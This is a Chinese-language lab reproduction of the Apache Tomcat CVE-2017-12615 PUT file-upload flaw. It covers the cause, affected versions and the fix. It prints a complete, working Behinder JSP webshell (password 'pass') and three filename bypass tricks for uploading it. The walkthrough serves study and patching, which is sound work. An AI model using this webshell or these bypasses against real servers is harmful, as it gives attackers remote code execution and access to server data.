CVE-2017-12615Tomcat文件上传漏洞复现
漏洞描述
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险
漏洞原理
当存在漏洞的Tomcat 运行在 Windows 主机上,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
影响范围
Apache Tomcat 7.0.0 – 7.0.79
漏洞复现
1、开启vulhub的对应环境
可以在主机上成功访问到
2、抓包修改上传方法为PUT
刷新一下得到对应的包
修改为PUT方法,上传冰蝎jap马,密码为pass
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
方法一:shell.jsp前面加 /绕过
方法二: 在文件名后面添加 %20 来进行绕过
方法三:在文件名后面添加 ::$DATA来进行绕过
3、冰蝎连接服务器
连接成功
也可以用脚本工具跑,这里不再赘述
漏洞修复
关闭PUT方法,默认关闭。即将conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞。
免责声明
本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责!